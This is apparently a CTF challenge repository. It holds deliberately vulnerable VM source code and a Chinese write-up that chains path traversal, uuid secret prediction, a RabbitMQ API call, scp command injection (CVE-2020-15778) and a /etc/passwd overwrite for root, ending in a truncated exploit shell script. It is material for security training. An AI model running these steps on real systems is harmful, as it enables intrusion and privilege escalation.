254 | ] 255 | } 256 | ], 257 | "metadata": { 258 | "kernelspec": { 259 | "display_name": "SageMath 9.0", 260 | "language": "sage", 261 | "name": "sagemath" 262 | }, 263 | "language_info": { 264 | "codemirror_mode": { 265 | "name": "ipython", 266 | "version": 3 267 | }, 268 | "file_extension": ".py", 269 | "mimetype": "text/x-python", 270 | "name": "python", 271 | "nbconvert_exporter": "python", 272 | "pygments_lexer": "ipython3", 273 | "version": "3.7.3" 274 | } 275 | }, 276 | "nbformat": 4, 277 | "nbformat_minor": 4 278 | } 279 | -------------------------------------------------------------------------------- /Pwn/vm/vm.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | using namespace std; 12 | 13 | int global_size = 0x800; 14 | 15 | class Vm{ 16 | private: 17 | void init_stack(unsigned int t,unsigned char* ret,unsigned long long old_rbp); 18 | 19 | unsigned char get_char(unsigned char **addr); 20 | unsigned short get_word(unsigned char **addr); 21 | unsigned int get_dword(unsigned char **addr); 22 | unsigned long long get_qword(unsigned char **addr); 23 | 24 | unsigned char get_magic(unsigned char **addr); 25 | unsigned char get_reg(unsigned char** addr); 26 | unsigned long long get_value(unsigned char magic,unsigned char **addr); 27 | void check_reg(unsigned char index); 28 | void check_stack(); 29 | void error(string info); 30 | void split(unsigned char magic,unsigned long long *hi,unsigned long long *lo); 31 | 32 | unsigned long long rsp; 33 | unsigned long long rbp; 34 | unsigned int size; 35 | int used; 36 | unsigned long long regs[8]; 37 | unsigned char *text_seg; 38 | public: 39 | Vm(){ 40 | //this->text_seg = (unsigned char*)mmap(0,0x1000,PROT_EXEC|PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0); 41 | this->text_seg = new unsigned char[0x1000]; 42 | this->init_stack(global_size,0,0); 43 | } 44 | void read_cmd(); 45 | unsigned int check_cmd(); 46 | void run_cmd(unsigned int op_num); 47 | void set_sandbox(); 48 | }; 49 | 50 | void Vm::init_stack(unsigned int t,unsigned char* ret,unsigned long long old_rbp){ 51 | this->rsp = (unsigned long long)new unsigned char[t]; 52 | this->rbp = this->rsp + (unsigned long long)t; 53 | 54 | this->rbp -= 8; 55 | *(unsigned long long*)this->rbp = (unsigned long long)ret; 56 | this->rbp -= 8; 57 | *(unsigned long long*)this->rbp = old_rbp; 58 | this->rsp = this->rbp; 59 | 60 | this->size = (t - 0x10) / 8; 61 | this->used = 0; 62 | } 63 | 64 | unsigned char Vm::get_char(unsigned char** addr){ 65 | unsigned char* res = (unsigned char*)*addr; 66 | *addr = res + 1; 67 | return *res; 68 | } 69 | unsigned short Vm::get_word(unsigned char** addr){ 70 | unsigned short* res = (unsigned short*)*addr; 71 | *addr = (unsigned char*)res + 2; 72 | return *res; 73 | } 74 | unsigned int Vm::get_dword(unsigned char** addr){ 75 | unsigned int* res = (unsigned int*)*addr; 76 | *addr = (unsigned char*)res + 4; 77 | return *res; 78 | } 79 | unsigned long long Vm::get_qword(unsigned char** addr){ 80 | unsigned long long* res = (unsigned long long*)*addr; 81 | *addr = (unsigned char*)res + 8; 82 | return *res; 83 | } 84 | 85 | unsigned char Vm::get_reg(unsigned char **addr){ 86 | unsigned char res = get_char(addr); 87 | if (res >= 8) 88 | error("Regs out of range!"); 89 | return res; 90 | } 91 | 92 | unsigned char Vm::get_magic(unsigned char **addr){ 93 | unsigned char res = get_char(addr); 94 | if (res > 3 || res < 0) 95 | error("Magic number out of range!"); 96 | return res; 97 | } 98 | 99 | unsigned long long Vm::get_value(unsigned char magic,unsigned char **addr){ 100 | unsigned long long value = 0; 101 | switch(magic){ 102 | case 0: 103 | value = (unsigned long long)get_char(addr) & 0xff; 104 | break; 105 | case 1: 106 | value = (unsigned long long)get_word(addr) & 0xffff; 107 | break; 108 | case 2: 109 | value = (unsigned long long)get_dword(addr) & 0xffffffff; 110 | break; 111 | case 3: 112 | value = get_qword(addr); 113 | break; 114 | default: 115 | error("Invalid code!"); 116 | break; 117 | } 118 | return value; 119 | } 120 | 121 | void Vm::split(unsigned char magic,unsigned long long *hi,unsigned long long *lo){ 122 | unsigned long long t = 0; 123 | for (int i = 0;i < (1 << magic);i++){ 124 | t = t << 8; 125 | t += 0xff; 126 | } 127 | *lo = t; 128 | *hi = (~t); 129 | } 130 | 131 | void Vm::check_stack(){ 132 | if ((unsigned int)this->used > this->size || this->used < 0) 133 | error("Stack out of size!"); 134 | } 135 | 136 | void Vm::error(string info){ 137 | cout << info << endl; 138 | //printf(info.c_str()); 139 | //puts(""); 140 | exit(-1); 141 | } 142 | 143 | void Vm::read_cmd(){ 144 | for(int i = 0;i < 0x1000;i++) 145 | read(0,(unsigned char*)this->text_seg + i,1); 146 | } 147 | unsigned int Vm::check_cmd(){ 148 | unsigned char* text = this->text_seg; 149 | unsigned char opcode; 150 | unsigned char magic, reg_index, jmp_offset; 151 | unsigned char reg1, reg2; 152 | unsigned long long value; 153 | unsigned int op_num; 154 | unsigned int t,t_size; 155 | unsigned char* t_addr; 156 | unsigned long long ret[10]; 157 | unsigned short call_offset; 158 | while(text < this->text_seg + 0x1000){ 159 | opcode = get_char(&text); 160 | value = 0; 161 | op_num++; 162 | switch(opcode){ 163 | case 1: // push reg 164 | reg_index = get_reg(&text); 165 | this->used++; 166 | check_stack(); 167 | break; 168 | case 2: // pop reg 169 | reg_index = get_reg(&text); 170 | this->used--; 171 | check_stack(); 172 | break; 173 | case 3: // add reg value/reg 174 | magic = get_magic(&text); 175 | reg_index = get_reg(&text); 176 | value = get_value(magic,&text); 177 | break; 178 | case 4: // sub reg value/reg 179 | magic = get_magic(&text); 180 | reg_index = get_reg(&text); 181 | value = get_value(magic,&text); 182 | break; 183 | case 5: // mul reg value/reg 184 | magic = get_magic(&text); 185 | reg_index = get_reg(&text); 186 | value = get_value(magic,&text); 187 | break; 188 | case 6: // div reg value/reg 189 | magic = get_magic(&text); 190 | reg_index = get_reg(&text); 191 | value = get_value(magic,&text); 192 | break; 193 | case 7: // and reg value/reg 194 | magic = get_magic(&text); 195 | reg_index = get_reg(&text); 196 | value = get_value(magic,&text); 197 | break; 198 | case 8: // or reg value/reg 199 | magic = get_magic(&text); 200 | reg_index = get_reg(&text); 201 | value = get_value(magic,&text); 202 | break; 203 | case 9: // xor reg value/reg 204 | magic = get_magic(&text); 205 | reg_index = get_reg(&text); 206 | value = get_value(magic,&text); 207 | break; 208 | case 10: // neg reg 209 | reg_index = get_reg(&text); 210 | break; 211 | case 11: // jmp 212 | jmp_offset = get_char(&text); 213 | if (text + jmp_offset - this->text_seg >= 0x1000) 214 | error(".text section out of range!"); 215 | break; 216 | case 12: // call 217 | call_offset = get_word(&text); 218 | t_addr = text + call_offset; 219 | ret[(0x800-global_size) / 0x100] = (unsigned long long)text; 220 | if (t_addr < this->text_seg || t_addr >= this->text_seg + 0x1000) 221 | error(".text section out of range!"); 222 | 223 | global_size -= 0x100; 224 | this->size -= (0x100 / 8); 225 | this->used = 0; 226 | text = t_addr; 227 | break; 228 | case 13: // ret 229 | global_size += 0x100; 230 | this->size += (0x100 / 8); 231 | this->used = 0; 232 | text = (unsigned char*)ret[(0x800-global_size) / 0x100]; 233 | break; 234 | case 14: // mov reg reg 235 | reg1 = get_reg(&text); 236 | reg2 = get_reg(&text); 237 | break; 238 | case 15: // mov [reg] reg 239 | reg1 = get_reg(&text); 240 | reg2 = get_reg(&text); 241 | break; 242 | case 16: // mov reg [reg] 243 | reg1 = get_reg(&text); 244 | reg2 = get_reg(&text); 245 | break; 246 | case 17: // mov reg value/reg 247 | magic = get_magic(&text); 248 | reg_index = get_reg(&text); 249 | value = get_value(magic,&text); 250 | break; 251 | /* 252 | case 18: 253 | break; 254 | */ 255 | case 0xff: 256 | this->size = (0x800 - 0x10) / 8; 257 | this->used = 0; 258 | return op_num; 259 | default: 260 | error("Invalid code!"); 261 | break; 262 | } 263 | } 264 | return op_num; 265 | } 266 | 267 | void Vm::run_cmd(unsigned int op_num){ 268 | unsigned char* text = this->text_seg; 269 | unsigned char opcode; 270 | unsigned char magic, reg_index, jmp_offset; 271 | unsigned char reg1, reg2; 272 | unsigned long long value; 273 | unsigned long long hi,lo; 274 | unsigned int t,t_size; 275 | unsigned char* t_addr; 276 | unsigned short call_offset; 277 | while(op_num){ 278 | opcode = get_char(&text); 279 | value = 0; 280 | op_num--; 281 | switch(opcode){ 282 | case 1: // push reg 283 | reg_index = get_reg(&text); 284 | this->rsp -= 8; 285 | *(unsigned long long*)this->rsp = this->regs[reg_index]; 286 | this->used++; 287 | //check_stack(); 288 | break; 289 | case 2: // pop reg 290 | reg_index = get_reg(&text); 291 | this->regs[reg_index] = *(unsigned long long*)this->rsp; 292 | this->rsp += 8; 293 | this->used--; 294 | //check_stack(); 295 | break; 296 | case 3: // add reg value/reg 297 | magic = get_magic(&text); 298 | reg_index = get_reg(&text); 299 | value = get_value(magic,&text); 300 | split(magic,&hi,&lo); 301 | this->regs[reg_index] = (hi & this->regs[reg_index]) + (lo & (lo&this->regs[reg_index] + value)); 302 | break; 303 | case 4: // sub reg value/reg 304 | magic = get_magic(&text); 305 | reg_index = get_reg(&text); 306 | value = get_value(magic,&text); 307 | split(magic,&hi,&lo); 308 | this->regs[reg_index] = (hi & this->regs[reg_index]) + (lo & (lo&this->regs[reg_index] - value)); 309 | break; 310 | case 5: // mul reg value/reg 311 | magic = get_magic(&text); 312 | reg_index = get_reg(&text); 313 | value = get_value(magic,&text); 314 | split(magic,&hi,&lo); 315 | this->regs[reg_index] = (hi & this->regs[reg_index]) + (lo & (lo&this->regs[reg_index] * value)); 316 | break; 317 | case 6: // div reg value/reg 318 | magic = get_magic(&text); 319 | reg_index = get_reg(&text); 320 | value = get_value(magic,&text); 321 | split(magic,&hi,&lo); 322 | this->regs[reg_index] = (hi & this->regs[reg_index]) + (lo & (lo&this->regs[reg_index] / value)); 323 | break; 324 | case 7: // and reg value/reg 325 | magic = get_magic(&text); 326 | reg_index = get_reg(&text); 327 | value = get_value(magic,&text); 328 | split(magic,&hi,&lo); 329 | this->regs[reg_index] = (hi & this->regs[reg_index]) + (lo & (lo&this->regs[reg_index] & value)); 330 | break; 331 | case 8: // or reg value/reg 332 | magic = get_magic(&text); 333 | reg_index = get_reg(&text); 334 | value = get_value(magic,&text); 335 | split(magic,&hi,&lo); 336 | this->regs[reg_index] = (hi & this->regs[reg_index]) + (lo & (lo&this->regs[reg_index] | value)); 337 | break; 338 | case 9: // xor reg value/reg 339 | magic = get_magic(&text); 340 | reg_index = get_reg(&text); 341 | value = get_value(magic,&text); 342 | split(magic,&hi,&lo); 343 | this->regs[reg_index] = (hi & this->regs[reg_index]) + (lo & (lo&this->regs[reg_index] ^ value)); 344 | break; 345 | case 10: // neg reg 346 | reg_index = get_reg(&text); 347 | this->regs[reg_index] = ~this->regs[reg_index]; 348 | break; 349 | case 11: // jmp 350 | jmp_offset = get_char(&text); 351 | if (text + jmp_offset - this->text_seg >= 0x1000) 352 | error(".text section out of range!"); 353 | text += jmp_offset; 354 | break; 355 | case 12: // call 356 | call_offset = get_word(&text); 357 | t_addr = text + call_offset; 358 | if (t_addr < this->text_seg || t_addr >= this->text_seg + 0x1000) 359 | error(".text section out of range!"); 360 | global_size -= 0x100; 361 | this->init_stack(global_size,text,this->rbp); 362 | text = t_addr; 363 | break; 364 | case 13: // ret 365 | text = (unsigned char*)*(unsigned long long*)(this->rbp + 8); 366 | this->rsp = this->rbp; 367 | this->rbp = *(unsigned long long*)this->rbp; 368 | delete [](unsigned char*)(this->rsp - this->size * 8); 369 | this->rsp = this->rbp; 370 | global_size += 0x100; 371 | this->size += (0x100 / 8); 372 | this->used = 0; 373 | break; 374 | case 14: // mov reg reg 375 | reg1 = get_reg(&text); 376 | reg2 = get_reg(&text); 377 | this->regs[reg1] = this->regs[reg2]; 378 | break; 379 | case 15: // mov [reg] reg 380 | reg1 = get_reg(&text); 381 | reg2 = get_reg(&text); 382 | *(unsigned long long*)this->regs[reg1] = this->regs[reg2]; 383 | break; 384 | case 16: // mov reg [reg] 385 | reg1 = get_reg(&text); 386 | reg2 = get_reg(&text); 387 | this->regs[reg1] = *(unsigned long long*)this->regs[reg2]; 388 | break; 389 | case 17: // mov reg value 390 | magic = get_magic(&text); 391 | reg_index = get_reg(&text); 392 | value = get_value(magic,&text); 393 | split(magic,&hi,&lo); 394 | this->regs[reg_index] = (hi & this->regs[reg_index]) + (lo & value); 395 | break; 396 | /* 397 | case 18: 398 | for (int i = 0;i < 8; i++) 399 | printf("regs[%d] : %#llx\n",i,this->regs[i]); 400 | break; 401 | */ 402 | case 0xff: 403 | return; 404 | default: 405 | error("Invalid code!"); 406 | break; 407 | } 408 | } 409 | } 410 | struct sock_filter filter[] = { 411 | BPF_STMT(BPF_LD+BPF_W+BPF_ABS,4), //前面两步用于检查arch 412 | BPF_JUMP(BPF_JMP+BPF_JEQ,0xc000003e,0,6), 413 | BPF_STMT(BPF_LD+BPF_W+BPF_ABS,0), //将帧的偏移0处,取4个字节数据,也就是系统调用号的值载入累加器 414 | BPF_JUMP(BPF_JMP+BPF_JGE,0x40000000,4,0), 415 | BPF_JUMP(BPF_JMP+BPF_JEQ,0,4,0), //当A == 59时,顺序执行下一条规则,否则跳过下一条规则,这里的59就是x64的execve系统调用 416 | BPF_JUMP(BPF_JMP+BPF_JEQ,2,3,0), 417 | BPF_JUMP(BPF_JMP+BPF_JEQ,60,2,0), 418 | BPF_JUMP(BPF_JMP+BPF_JEQ,231,1,0), 419 | BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_KILL), //返回KILL 420 | BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_ALLOW), //返回ALLOW 421 | }; 422 | struct sock_fprog prog = { 423 | .len = (unsigned short)(sizeof(filter)/sizeof(filter[0])), /* Number of filter blocks */ 424 | .filter = filter, /* Pointer to array of BPF instructions */ 425 | }; 426 | 427 | void Vm::set_sandbox(){ 428 | prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0); 429 | prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog, 0, 0); 430 | } 431 | 432 | int main(){ 433 | setvbuf(stdin, 0, _IONBF, 0); 434 | setvbuf(stdout, 0, _IONBF, 0); 435 | setvbuf(stderr, 0, _IONBF, 0); 436 | 437 | Vm* vm = new Vm(); 438 | //vm->set_sandbox(); 439 | cout << "VM has been initialized. Please input your code: " << endl; 440 | vm->read_cmd(); 441 | cout << "Now we will check your code and run it in a sandbox." << endl; 442 | unsigned int op_num = vm->check_cmd(); 443 | global_size = 0x800; 444 | vm->set_sandbox(); 445 | vm->run_cmd(op_num); 446 | return 0; 447 | } -------------------------------------------------------------------------------- /Web/workdeep/README.md: -------------------------------------------------------------------------------- 1 | # WorkDeep 2 | 这题的流程比较复杂,但是每个知识点都不算很难,主要算是考察选手的综合能力(比如还有和逆向手的协作)。先讲一下整个的基本流程,再分点具体展开介绍。整体的攻击流程包括: 3 | * 任意文件读取获得client的binary、node服务的源码、rabbitmq的配置文件、环境变量、ssh配置等题目所需信息(当然是一步步按照需求获取的) 4 | * 利用node服务中对uuid的错误使用,预测secret的值,进而获得在`http://127.0.0.1:8888`域下的任意js代码执行 5 | * 由于rabbitmq的配置中设置了对于`http://127.0.0.1:8888`源的cors策略,可以通过fetch等方法向rabbitmq的exchange发送任务达到和client交互的目的 6 | * scp命令受CVE-2020-15778的影响,ssh的server端可以rce。反引号不受waf以及os.Exec的限制,同时通过读取ctf用户的id_rsa.pub和authorized_keys文件可以知道本地ctf用户可以ssh,因此利用这个漏洞可以获得ctf用户的执行权限。 7 | * 由于flag在root目录,利用client的备份功能修改`/etc/passwd`提权到root获得flag。 8 | 9 | ## 任意文件读取 10 | 这一步的灵感来源于CVE-2018-1271,本质上是cleanPath逻辑认为`//`是一个空目录,而linux系统则认为这只是两个路径分隔符。因此 `/view?filename=.////////////////////////../../../../../etc/passwd` 这样的文件就可以bypass cleanPath函数。 11 | 其实采用burp Intruder的也可以直接fuzz出结果。 12 | ![1.png](./1.png) 13 | 14 | ## 预测secret 15 | node服务的代码如下 16 | ``` 17 | const express = require('express'); 18 | const fs = require('fs'); 19 | const bodyParser = require('body-parser'); 20 | const puppeteer = require('puppeteer'); 21 | const urlencode = require('urlencode'); 22 | const stringRandom = require('string-random'); 23 | const amqp = require('amqplib/callback_api'); 24 | const URL = require("url").URL; 25 | const createDOMPurify = require('dompurify'); 26 | const { JSDOM } = require('jsdom'); 27 | const window = new JSDOM('').window; 28 | const DOMPurify = createDOMPurify(window); 29 | const { v1: uuid } = require('uuid'); 30 | const amqpUser = process.env.amqpUser || "guest"; 31 | const amqpPass = process.env.amqpPass || "guest"; 32 | const queueName = process.env.queueName || "test"; 33 | const enc = process.env.enc || "decc1b15a508a977eeca7a7b37dd6d116ab85d4f8f12a5147bef370a9bac3b797381997f96a4fc9f19e9ef651bd12d281747c24c247dc3113d63858c5cd7cbf62aa73ed55a0eb235e1891837a390ea9ce98f79e00ecaeaa262525aa7ec"; 34 | 35 | const app = express(); 36 | const port = 8888; 37 | const maxnum = 30; 38 | const secret = uuid().split("-")[0]; 39 | 40 | const validUrl = (s) => { 41 | try { 42 | new URL(s); 43 | return true; 44 | } catch (err) { 45 | console.log(err); 46 | return false; 47 | } 48 | }; 49 | 50 | const stripStartBackslash = (s) => { 51 | return s.replace(/^[\/]+/g, ''); 52 | } 53 | 54 | const cleanPath = (s) => { 55 | s = stripStartBackslash(s); 56 | let pathArray = s.split('/'); 57 | let pathElement = []; 58 | let pos = 0; 59 | let arrlen = pathArray.length; 60 | for (let i=arrlen-1;i>=0;i--) { 61 | let ele = pathArray[i]; 62 | if (ele == '.') { 63 | 64 | } else if (ele == '..') { 65 | pos++; 66 | } else { 67 | if (pos > 0) { 68 | pos--; 69 | } else { 70 | pathElement.unshift(ele); 71 | } 72 | } 73 | } 74 | for (let i=0;i { 81 | amqp.connect(`amqp://${amqpUser}:${amqpPass}@localhost:5672/`, function(error0, connection) { 82 | if (error0) { 83 | return; 84 | } 85 | connection.createChannel(function(error1, channel) { 86 | if (error1) { 87 | return; 88 | } 89 | let queue = queueName; 90 | let rfile = stringRandom(16); 91 | let msg = `{"Enc":"${enc}","RFile":"${rfile}.tar"}`; 92 | 93 | channel.assertQueue(queue, { 94 | durable: true 95 | }); 96 | channel.sendToQueue(queue, Buffer.from(msg), { 97 | persistent: true 98 | }); 99 | console.log("Sent '%s'", msg); 100 | }); 101 | setTimeout(function() { 102 | connection.close(); 103 | }, 1000); 104 | }); 105 | } // send task to /client 106 | 107 | app.use(bodyParser.urlencoded({ extended: false })) 108 | 109 | app.get('/', (req, res) => res.send('get a screenshot with your homepage in /screen?url=https://rebirthwyw.com')) 110 | 111 | app.get('/iframe', (req, res) => { 112 | if (typeof req.query.token != "string" || typeof req.query.ifrsrc != "string") { 113 | res.send('Invalid Token or Src'); 114 | return; 115 | } 116 | let token = req.query.token; 117 | let rethtml = ` 118 | 119 | 120 | 121 | 122 | 123 | Document 124 | 125 | 126 | ${req.query.ifrsrc} 127 | 128 | `; 129 | if (token == secret) { 130 | res.send(rethtml); 131 | } else { 132 | res.send("Invalid Token"); 133 | } 134 | }) 135 | 136 | app.get('/screen', async (req, res) => { 137 | if (typeof req.query.url != "string") { 138 | res.send('not valid url'); 139 | return; 140 | } 141 | if (!validUrl(req.query.url)) { 142 | res.send('not valid url'); 143 | return; 144 | } 145 | let framehtml = ``; 146 | let url = urlencode(DOMPurify.sanitize(framehtml, { ALLOWED_TAGS: ['iframe'], ALLOWED_ATTR: ['src'] })); 147 | let image = uuid().split("-")[0]; 148 | res.send(`view screenshot in /view?filename=${image}.png`); 149 | try { 150 | const browser = await puppeteer.launch({ 151 | args: [ 152 | '--no-sandbox', 153 | '--disable-setuid-sandbox', 154 | '--disable-gpu', 155 | '--disable-dev-shm-usage', 156 | '--no-zygote', 157 | '--single-process' 158 | ] 159 | }); // copy from https://github.com/zsxsoft/my-ctf-challenges/blob/master/0ctf2020/amp2020/web/routes/index.js 160 | const page = await browser.newPage(); 161 | await page.goto(`http://127.0.0.1:${port}/iframe?token=${secret}&ifrsrc=${url}`, { 162 | timeout: 3000 163 | }); 164 | await page.screenshot({path:`files/${image}.png`}); 165 | await browser.close(); 166 | fs.readdir("files", (err, files) => { 167 | if (err) { 168 | } else { 169 | if (files.length >= maxnum) { 170 | sendTask(); 171 | } 172 | } 173 | }) 174 | } catch (e) { 175 | console.log(e); 176 | } 177 | }) 178 | 179 | app.get('/view', (req, res) => { 180 | if (typeof req.query.filename != "string") { 181 | res.send('not valid filename'); 182 | return; 183 | } 184 | if (cleanPath(req.query.filename).indexOf('..')>=0) { 185 | res.send("No path traversal"); 186 | return; 187 | } 188 | filename = `files/${req.query.filename}`; 189 | try { 190 | fs.readFile(filename, (err, data) => { 191 | if (err) { 192 | res.send('no image find'); 193 | } else { 194 | res.attachment(filename); 195 | res.send(data); 196 | } 197 | }); 198 | } catch (e) { 199 | res.send('no image find'); 200 | } 201 | }) 202 | 203 | app.listen(port, () => console.log(`listening on port ${port}!`)) 204 | ``` 205 | 漏洞点比较隐蔽,在最开始的初始化部分,采用了`const { v1: uuid } = require('uuid');`来获取uuid。 206 | 查阅文档可以发现v1版本的uuid是和时间相关的随机数,看一下uuid的代码的话可以发现,uuid的第一节是完全和时间相关的一个值。 207 | ![2.png](./2.png) 208 | 因此,我们可以通过预测secret生成的时间来预测secret的值。 209 | 这里就涉及到secret在什么时刻生成的问题。看了uuid的代码的话应该很容易发现是一个毫秒级的时间刻度,也就是预测偏差一秒,我们就需要发送1000个请求来验证。 210 | 从ichunqiu的平台生成题目环境到选手能访问到环境的时间以及node服务进程启动到secret生成的时间如果仅仅通过第一个能访问通题目环境的请求返回时间来预测将非常的不准确,可能发送十几二十万个请求也无法预测到secret对应的时间戳,因此,我们需要一个准确的node服务启动时间。 211 | 如何获取这个时间很显然,利用/proc目录。查阅文档可以发现,/proc/self/stat文件中包含一个starttime值,表示当前进程距离系统启动的jiffies次数,也就是相对的进程启动时间。 212 | ![3.png](./3.png) 213 | 而在/proc/stat文件中,有一个btime项,表示了系统启动的时间戳(秒级)。综合这两个值即可获取node服务启动的具体时间戳(毫秒级)。 214 | 即`procstarttime=starttime*10+btime*1000` 215 | 我在本地测试时,secret生成距离进程启动时间大概在一秒左右,也就是一千多个请求即可获得secret值。在ichunqiu的平台上测试时,大概在五秒左右,即五千多个请求可以获得secret的值,这算是在可接受范围内的一种爆破。 216 | 217 | ## 与rabbitmq交互 218 | 获取secret值后,我们可以直接通过/iframe接口进行html注入,无需再绕过dompurify的过滤。但是rabbitmq的http服务开在15672端口,rabbitmq默认时禁止跨域的,basic认证的auth头无法传递。 219 | 这时需要读取rabbitmq的配置文件`/etc/rabbitmq/rabbitmq.conf`获取到配置信息`management.cors.allow_origins.1 = http://127.0.0.1:8888`,也就是说在`http://127.0.0.1:8888`下可以跨域发送请求而被rabbitmq接受。 220 | rabbitmq的用户名密码以及队列信息可以在`/proc/self/environ`中获取,和rabbitmq交互的js代码如下 221 | ``` 222 | username = "backupadmin"; 223 | password = "WeakPassHere"; 224 | url = "http://127.0.0.1:15672/api/exchanges/%2F/amq.default/publish"; 225 | data = {"vhost":"/","name":"amq.default","properties":{"delivery_mode":2,"headers":{}},"routing_key":"backup","delivery_mode":"2","payload":"{\"Enc\":\"decc1b15a508a977eeca7a7b37dd6d116ab85d4f8f12a5147bef370a9bac3b797381997f96a4fc9f19e9ef651bd12d281747c24c247dc3116a38dec71fd789bd79ec3130a5a172f2cd17bb876382318a0f9034\",\"RFile\":\"1.tar.gz\"}","headers":{},"props":{},"payload_encoding":"string"}; 226 | fetch(url, { 227 | body: JSON.stringify(data), 228 | headers: { 229 | "content-type": "application/json", 230 | "Authorization": "Basic " + btoa(username+":"+password) 231 | }, 232 | method: "POST", 233 | }) 234 | .then(response => response.json()) 235 | .catch(err => console.error("Error:", error)) 236 | .then(response => console.log("Success:", response)); 237 | ``` 238 | 239 | ## scp rce 240 | 接下来的部分主要是go逆向以及其中的漏洞的查找,常见的利用IDAGolangHelper恢复函数名信息后开始逆向。结合node服务的代码,大概的流程应该是不难逆向的。 241 | 主要的逻辑是在main_main_func1中, 242 | ![4.png](./4.png) 243 | 应该是先把rabbitmq发送过来的payload做json解码,然后将Enc字段解密。解密部分很清楚,就是用了AESGCM做的加解密,拿到nonce和key即可自己定制加密数据。 244 | ![5.png](./5.png) 245 | 然后在一些check以后就会调用backup和scp两个功能。 246 | scp函数中,远程的文件地址是完全可控的,包括Enc数据中的user和host部分以及RFile参数。通过读取ctf用户的.ssh目录下的id_rsa.pub文件和authorized_keys文件可以判断可以通过id_rsa文件登录本地的ctf用户。结合CVE-2020-15778,通过控制RFile可以以ctf用户权限执行命令,即Enc的明文为`{"PriFile":"/home/ctf/.ssh/id_rsa","User":"ctf","Host":"127.0.0.1"}`,RFile的内容为 `touch /tmp/1` 。 247 | 248 | ## 提权 249 | 关注backup部分的功能,采用了tar打包的方式将`/home/ctf/app/files`目录打包成一个tar文件。在上一步中我们已经拥有了ctf权限的任意代码执行,同时tar打包时文件都是明文未修改的被加入到tar文件中的。因此,我们可以控制`/home/ctf/app/files`目录中只留有一个文件内容如下的文件 250 | ``` 251 | a 252 | 253 | test:U6aMy0wojraho:0:0::/root:/bin/bash 254 | root:x:0:0:root:/root:/bin/bash 255 | daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin 256 | bin:x:2:2:bin:/bin:/usr/sbin/nologin 257 | sys:x:3:3:sys:/dev:/usr/sbin/nologin 258 | sync:x:4:65534:sync:/bin:/bin/sync 259 | games:x:5:60:games:/usr/games:/usr/sbin/nologin 260 | man:x:6:12:man:/var/cache/man:/usr/sbin/nologin 261 | lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin 262 | mail:x:8:8:mail:/var/mail:/usr/sbin/nologin 263 | news:x:9:9:news:/var/spool/news:/usr/sbin/nologin 264 | uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin 265 | proxy:x:13:13:proxy:/bin:/usr/sbin/nologin 266 | www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin 267 | backup:x:34:34:backup:/var/backups:/usr/sbin/nologin 268 | list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin 269 | irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin 270 | gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin 271 | nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin 272 | _apt:x:100:65534::/nonexistent:/usr/sbin/nologin 273 | messagebus:x:101:101::/nonexistent:/usr/sbin/nologin 274 | ctf:x:2000:2000::/home/ctf:/bin/sh 275 | epmd:x:102:102::/run/epmd:/usr/sbin/nologin 276 | rabbitmq:x:103:104:RabbitMQ messaging server,,,:/var/lib/rabbitmq:/usr/sbin/nologin 277 | systemd-network:x:104:106:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin 278 | systemd-resolve:x:105:107:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin 279 | sshd:x:106:65534::/run/sshd:/usr/sbin/nologin 280 | 281 | a 282 | ``` 283 | 两个换行将头尾可能存在的脏数据隔离开,创建的test用户为空密码,这样的一个passwd文件即可使得我们拥有一个空密码的root权限用户。 284 | 接下来就是如何让client替我们把这个打包的文件覆盖掉`/etc/passwd`文件。 285 | backup部分的代码会把tar打包的目标文件命名为一个秒级时间戳的tar文件,因此我们只要在`/home/ctf/backup`目录下将`/etc/passwd`文件软链接成许多秒级时间戳的tar文件,触发client的backup操作即可成功覆盖`/etc/passwd` 286 | 具体的shell脚本如下(finalstep.sh) 287 | ``` 288 | #!/bin/bash 289 | rm -f /home/ctf/app/files/* 290 | starttime=`date +%s` 291 | cp /etc/passwd /tmp/passwd.bak 292 | for i in `seq 1000` 293 | do 294 | ln -s /etc/passwd /home/ctf/backup/$((starttime+i)).tar 295 | done 296 | echo 'YQoKdGVzdDpVNmFNeTB3b2pyYWhvOjA6MDo6L3Jvb3Q6L2Jpbi9iYXNoCnJvb3Q6eDowOjA6cm9vdDovcm9vdDovYmluL2Jhc2gKZGFlbW9uOng6MToxOmRhZW1vbjovdXNyL3NiaW46L3Vzci9zYmluL25vbG9naW4KYmluOng6MjoyOmJpbjovYmluOi91c3Ivc2Jpbi9ub2xvZ2luCnN5czp4OjM6MzpzeXM6L2RldjovdXNyL3NiaW4vbm9sb2dpbgpzeW5jOng6NDo2NTUzNDpzeW5jOi9iaW46L2Jpbi9zeW5jCmdhbWVzOng6NTo2MDpnYW1lczovdXNyL2dhbWVzOi91c3Ivc2Jpbi9ub2xvZ2luCm1hbjp4OjY6MTI6bWFuOi92YXIvY2FjaGUvbWFuOi91c3Ivc2Jpbi9ub2xvZ2luCmxwOng6Nzo3OmxwOi92YXIvc3Bvb2wvbHBkOi91c3Ivc2Jpbi9ub2xvZ2luCm1haWw6eDo4Ojg6bWFpbDovdmFyL21haWw6L3Vzci9zYmluL25vbG9naW4KbmV3czp4Ojk6OTpuZXdzOi92YXIvc3Bvb2wvbmV3czovdXNyL3NiaW4vbm9sb2dpbgp1dWNwOng6MTA6MTA6dXVjcDovdmFyL3Nwb29sL3V1Y3A6L3Vzci9zYmluL25vbG9naW4KcHJveHk6eDoxMzoxMzpwcm94eTovYmluOi91c3Ivc2Jpbi9ub2xvZ2luCnd3dy1kYXRhOng6MzM6MzM6d3d3LWRhdGE6L3Zhci93d3c6L3Vzci9zYmluL25vbG9naW4KYmFja3VwOng6MzQ6MzQ6YmFja3VwOi92YXIvYmFja3VwczovdXNyL3NiaW